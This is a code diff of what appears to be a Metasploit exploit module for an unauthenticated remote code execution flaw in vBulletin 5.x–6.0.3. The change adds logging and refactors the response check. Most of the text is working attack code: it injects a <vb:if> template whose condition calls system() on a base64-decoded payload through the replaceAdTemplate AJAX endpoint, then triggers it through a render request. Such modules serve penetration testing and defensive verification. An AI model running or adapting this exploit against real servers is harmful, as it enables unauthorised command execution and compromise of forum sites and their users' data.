@@ -17,13 +17,13 @@ def initialize(info = {})
17
17
'Description' => %q{
18
18
This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system,
19
19
present in versions 5.0.0 through 6.0.3. The vulnerability allows unauthenticated attackers
20
- to invoke protected controller methods via the ` ajax/api/ad/replaceAdTemplate` endpoint,
20
+ to invoke protected controller methods via the ajax/api/ad/replaceAdTemplate endpoint,
21
21
due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+.
22
22
23
- Specifically, it targets the ` vB_Api_Ad::replaceAdTemplate()` method to inject a template
24
- containing a ` <vb:if>` conditional that evaluates attacker-supplied PHP using the
25
- ` "system"($_POST[<param>])` construct. The malicious template is then executed via
26
- a second unauthenticated request to ` ajax/render/ad_<location>` .
23
+ Specifically, it targets the vB_Api_Ad::replaceAdTemplate() method to inject a template
24
+ containing a <vb:if> conditional that evaluates attacker-supplied PHP using the
25
+ "system"($_POST[<param>]) construct. The malicious template is then executed via
26
+ a second unauthenticated request to ajax/render/ad_<location>.
27
27
28
28
Successful exploitation results in arbitrary command execution as the webserver user,
29
29
without authentication. This module supports payloads for PHP, Linux, and Windows.
@@ -72,7 +72,8 @@ def initialize(info = {})
72
72
end
73
73
74
74
def check
75
- inject_and_trigger ( :check ) ? CheckCode ::Appears : CheckCode ::Safe
75
+ vprint_status ( "Starting vulnerability check on #{ rhost } :#{ rport } #{ target_uri . path } " )
76
+ inject_and_trigger ( :check ) ? CheckCode ::Vulnerable : CheckCode ::Safe
76
77
end
77
78
78
79
def exploit
@@ -83,48 +84,60 @@ def inject_and_trigger(mode, payload: nil)
83
84
marker , location , param = Array . new ( 3 ) { Rex ::Text . rand_text_alpha ( 5 , 8 ) }
84
85
pattern = /string\( #{ marker . length } \) "#{ marker } "/
85
86
87
+ vprint_status ( "Generating random marker and condition for mode #{ mode } " )
86
88
if mode == :check
87
89
condition = %{"var_dump"("#{ marker } ")}
88
90
trigger_value = Rex ::Text . encode_base64 ( marker )
89
91
else
90
92
encoded_payload = Rex ::Text . encode_base64 ( payload )
93
+ # Sadly we can't use `eval()` here as it's a language construct and we need a proper function.
91
94
condition = %{"system"("base64_decode"("#{ encoded_payload } "))}
92
95
end
93
96
94
97
template = "<vb:if condition='#{ condition } '></vb:if>"
95
98
99
+ vprint_status ( "Sending POST to ajax/api/ad/replaceAdTemplate (location=#{ location } )" )
96
100
inj = send_request_cgi (
97
101
'method' => 'POST' ,
98
102
'uri' => normalize_uri ( target_uri . path ) ,
99
103
'vars_post' => {
100
104
'routestring' => 'ajax/api/ad/replaceAdTemplate' ,
101
- 'styleid' => '1' ,
105
+ 'styleid' => '1' , # Can't randomize this value
102
106
'location' => location ,
103
107
'template' => template
104
108
}
105
109
)
106
110
107
111
if mode == :check
108
- return false unless inj &.code == 200
109
- return true if inj . body . match? ( pattern )
110
- false
111
- end
112
-
113
- render_vars = { 'routestring' => "ajax/render/ad_#{ location } " }
114
- render_vars [ param ] = trigger_value if mode == :check
115
-
116
- render = send_request_cgi (
117
- 'method' => 'POST' ,
118
- 'uri' => normalize_uri ( target_uri . path ) ,
119
- 'vars_post' => render_vars
120
- )
112
+ return true if handle_check_response ( inj , pattern , 'injection' )
121
113
122
- if mode == :check
123
- return nil unless render &. code == 200
114
+ render_vars = { 'routestring' => "ajax/render/ad_ #{ location } " }
115
+ render_vars [ param ] = trigger_value
124
116
125
- return render . body . match? ( pattern )
117
+ vprint_status ( "Sending POST to ajax/render/ad_#{ location } to trigger execution" )
118
+ render = send_request_cgi (
119
+ 'method' => 'POST' ,
120
+ 'uri' => normalize_uri ( target_uri . path ) ,
121
+ 'vars_post' => render_vars
122
+ )
123
+ return handle_check_response ( render , pattern , 'trigger' )
126
124
end
127
125
128
126
true
129
127
end
128
+
129
+ def handle_check_response ( response , pattern , stage )
130
+ vprint_status ( "#{ stage . capitalize } response: HTTP #{ response &.code } " )
131
+ unless response &.code == 200
132
+ vprint_error ( "#{ stage . capitalize } request failed (HTTP #{ response &.code || 'nil' } )" )
133
+ return false
134
+ end
135
+ if response . body . match? ( pattern )
136
+ vprint_good ( "Marker found in #{ stage } response body" )
137
+ true
138
+ else
139
+ vprint_error ( "Marker not found in #{ stage } response body" )
140
+ false
141
+ end
142
+ end
130
143
end
0 commit comments